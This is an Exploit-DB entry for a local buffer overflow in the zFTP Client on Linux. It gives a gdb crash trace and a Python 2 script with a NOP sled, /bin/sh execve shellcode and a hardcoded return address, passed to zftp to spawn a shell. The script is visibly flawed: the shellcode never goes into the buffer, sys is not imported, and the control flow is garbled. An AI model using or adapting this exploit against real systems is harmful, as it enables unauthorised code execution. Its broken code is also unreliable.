zFTP Client 20061220 - 'Connection Name' Local Buffer Overflow

EDB-ID:
40203

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2016-08-05

Vulnerable App:

```
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: zFTP Client
# Affected value: NAME under FTP connection
# Where in the code: Line 30 in strcpy_chk.c
# __strcpy_chk (dest=0xb7f811c0 <cdf_value> "/KUIP", src=0xb76a6680
"/MACRO", destlen=0x50) at strcpy_chk.c:30
# Version: 20061220+dfsg3-4.1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  ZFTP is a macro-extensible file transfer program
which supports the
# transfer of formatted, unformatted and ZEBRA RZ files
# Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-
4.1_i386.deb
# MD5sum: 524217187d28e4444d6c437ddd37e4de
# Website: http://cernlib.web.cern.ch/cernlib/
#
# gdb$ run `python -c 'print "A"*30'`
# Starting program: /usr/bin/zftp `python -c 'print "A"*30'`
# *** buffer overflow detected ***: /usr/bin/zftp terminated
# ======= Backtrace: =========
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)
[0xb7417864]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)
[0xb7418604]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)
[0xb73f6d14]
# /usr/bin/zftp[0x804dc9b]

import os, subprocess

def run():
  try:
    print "# zFTP Client - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 100
    nopsled = "\x90"*30
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["zftp ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, zFTP client- Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit zFTP Client -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
```

```
  except IndexError:
    howtousage()
run()
```

Tags:

Advisory/Source: Link